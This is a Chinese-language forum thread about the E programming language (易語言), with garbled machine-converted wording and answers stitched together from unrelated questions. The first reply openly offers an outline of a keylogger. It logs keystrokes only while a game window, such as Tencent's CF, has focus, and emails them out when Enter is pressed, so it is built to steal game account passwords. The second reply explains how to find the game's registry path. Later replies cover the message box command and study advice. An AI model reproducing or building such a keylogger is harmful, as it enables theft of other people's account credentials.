1樓:不睿德畢沈
嘿嘿,樓主你那些的不怎麼好哦,如果對方在打時又去聊天了呢??那不是連聊天也記錄下來了?
看看我給你的。
新增個超級模組和鍵盤記錄模組。
變數。遊戲控制代碼。
整數型,變數。
當前控制代碼。整數型。
變數。文字型。
啟動視窗。啟動完畢。
終止程序(遊戲程序)
監視熱鍵(&傳送,#回車鍵)
再新增2個時鐘,時鐘1週期為1500(最好是1500),時鐘2週期為1
時鐘1。週期事件。
遊戲控制代碼=取控制代碼(「遊戲程序名」,,遊戲名稱」)當前控制代碼=取焦點控制代碼()
時鐘2。週期事件。
如果(遊戲控制代碼=當前控制代碼)『判斷是否在遊戲視窗輸入』
獲得按鍵()
新增乙個新子程式,名字為「傳送」』
子程式。傳送。
如果(遊戲控制代碼=當前控制代碼)
連線發信伺服器()
傳送郵件()
那個遊戲程序名必須是遊戲登陸時打密碼的程序名,像cf就是先啟動""然後才啟動遊戲的。
2樓:沃海亦回泉
enter]
回車鍵。取文字註冊項。
3,software\tencent\」,這是tx所有產品的目錄,我沒裝cf,你自己去登錄檔這個位子看cf的路徑。取到就行。
易語言基本問題求解答!!!!!
3樓:網友
<>資訊框(這裡是資訊框需要顯示的文字,這裡決定按鈕的型別,這裡決定這個資訊框的標題)
呼叫格式: 〈整數型〉 資訊框 (通用型 提示資訊,整數型 按鈕,[文字型 視窗標題]) 系統核心支援庫->系統處理。
英文名稱:msgbox
在對話方塊中顯示資訊,等待使用者單擊按鈕,並返回乙個整數告訴使用者單擊哪乙個按鈕。該整數為以下常量值之一: 0、#確認鈕; 1、#取消鈕; 2、#放棄鈕; 3、#重試鈕; 4、#忽略鈕; 5、#是鈕; 6、#否鈕。
如果對話方塊有「取消」按鈕,則按下 esc 鍵與單擊「取消」按鈕的效果相同。本命令為初級命令。
引數<1>的名稱為「提示資訊」,型別為「通用型(all)」。提示資訊只能為文字、數值、邏輯值或日期時間。如果提示資訊為文字且包含多行,可在各行之間用回車符 (即「字元 (13)」)換行符 (即「字元 (10)」)或回車換行符的組合 (即:
字元 (13) +字元 (10)」)來分隔。
引數<2>的名稱為「按鈕」,型別為「整數型(int)」,初始值為「0」。引數值由以下幾組常量值組成,在將這些常量值相加以生成引數值時,每組值只能取用乙個數字(第五組除外):
第一組(描述對話方塊中顯示按鈕的型別與數目):
#確認鈕; 1、#確認取消鈕; 2、#放棄重試忽略鈕; 3、#取消是否鈕; 4、#是否鈕; 5、#重試取消鈕。
第二組(描述圖示的樣式):
#錯誤圖示; 32、#詢問圖示; 48、#警告圖示; 64、#資訊圖示。
第三組(說明哪乙個按鈕是預設預設值):
#預設按鈕一; 256、#預設按鈕二; 512、#預設按鈕三; 768、#預設按鈕四。
第四組(決定如何等待訊息框結束):
#程式等待; 4096、#系統等待。
第五組(其它):
#位於前臺; 524288、#文字右對齊引數<3>的名稱為「視窗標題」,型別為「文字型(text)」,可以被省略。引數值指定顯示在對話方塊標題欄中的文字。如果省略,預設為文字「資訊:
作業系統需求: windows
4樓:匿名使用者
我把我認為對的學習方法說給你吧。你可以參考參考,"授人魚不如授人以漁"!
接觸3天,還是去學習語法的,流程式控制制,檔案io,控制項操作,這些教程裡面都是有的,所以我建議你去學習教程,系統的學習他,不然你連什麼函式都不知道,怎麼寫程式呢?
所以先學教程,有了一定的語法基礎後,可以有針對性的學習你喜歡的方面,例如遊戲輔助啊,發貼機啊,什麼刷qq空間流量啊之類的。
這樣提公升的比較快,你別今天說我想製作遊戲,看了幾天遊戲教程,發現遊戲不適合我,然後去做輔助,但是又發現輔助基址很迷糊,然後想轉網路方面的應用,但是做了幾天發現原來遊戲是最適合我的,這樣你什麼都懂一點,不然精通一門。。【我以前就是什麼都想搞,結果什麼都沒搞成】。。得不償失、
還有得要有自學能力,不能完全靠教程裡面叫的幾個「資訊框」、「結束」、「到文字這些命令,別人永遠無法把所有教給你,教給你方法,你就得自己去學。一通百通。
還有,在你學習這門程式語言之前,你先了解他,別以後後悔了。
和google是你強大的後盾!
by:乙個乳臭未乾的小菜鳥。
5樓:網友
查「十天學會易語言」
是個不錯的入門教材。
易語言原始碼問題
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易語言鍵盤問題
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